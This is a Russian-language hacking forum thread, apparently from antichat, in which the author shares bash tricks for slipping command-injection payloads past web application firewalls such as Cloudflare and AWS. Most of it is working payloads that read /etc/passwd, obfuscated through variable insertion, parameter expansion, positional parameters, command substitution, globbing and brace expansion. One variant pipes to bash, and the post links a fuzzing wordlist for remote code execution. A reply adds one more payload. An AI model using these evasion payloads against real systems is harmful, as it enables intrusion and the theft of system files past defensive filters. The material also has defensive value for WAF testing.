Вобщем несколько маленьких моментов, о которых не видел чтобы писали. Сразу скажу что особо не тестил, повтыкал рандомно в AWS, WTF-WAF, GoDaddy, CloudFlare - где-то ругался, где-то нет. Так что просто к размышлению. Сразу прикреплю несколько линков по теме, они встречались уже на форуме, но к теме относятся поэтому повторюсь. https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0 https://medium.com/secjuice/waf-evasion-techniques-718026d693d8 https://www.secjuice.com/web-application-firewall-waf-evasion/ https://chybeta.gitbooks.io/waf-bypass/ming-ling-zhu-ru/rao-guo-fang-fa.html Момент первый Знаем Code: cat$u /etc$u/passwd$u Дополнение Можем юзать переменную хоть в середине слова, если за ней идет спецсимвол или пробел. Code: ca$u\t /et$u''c/pass$u""wd ca${u}t /et${u}c/pass${u}wd Момент второй Прям в доках написано. Code: ${foo-bar}xyc Получаем такие чудеса. Code: ${asd-c}at ${asd-/e}tc/passwd ${asd-u}n${asd-a}m${asd-e} ${asd-u}n${asd-a}m${asd-e} ${asd--a} Момент третий Позиционные параметры. Встречал такие штуки, но для чего они там так и не понял. Code: cat${IFS}${9}/etc/passwd Можно смело лепить так, тут спецсимволы не нужны как в первом случае. Code: c$2a$2t /e$2t$3c$2/p$2as$7swd c$*a$2t /e$*t$*c$*/p$*as$*swd c$@a$@t /e$@t$@c$@/p$@as$@swd c$!a$!t /e$!t$!c$!/p$!as$!swd Момент четвертый Подстановка команд `` и $() нам в помощь. Code: ca`sss`t /et`asdsd`c/pass`assa`wd ca$(sss)t /et$(asdsd)c/pass$(assa)wd Момент пятый Ничего особенного. Code: cat /e[tdf]c/pa[s]s[w][dertyujhffd] /b[ai][adn]/c[ia][rt] /e[tdf]c/pa[s]s[w][dertyujhffd] В баш есть такое Code: echo a{aa,bb} aaa abb Но... Code: c{at,ss} cat: css: Нет такого файла или каталога Возвращает нам наш любимый passwd. Code: {cat,/etc/passwd} Проблема: Ъ шеллу абсолютно все равно что я там собираюсь подставлять и байпасить, в sh как есть не выполнить. Есть такой вариант Code: echo {cat,/etc/passwd}|bash Может у кого есть варианты на этот счет поинтереснее? Тут прикрепил свою базу для фазинга по RCE за WAF. https://forum.antichat.ru/threads/467599/#post-4346489
Не смог плюсануть( двиг не позволяет. Это все дефольтные фишки линукс оболочек, еще вот: Code: cat$IFS/e*/p*d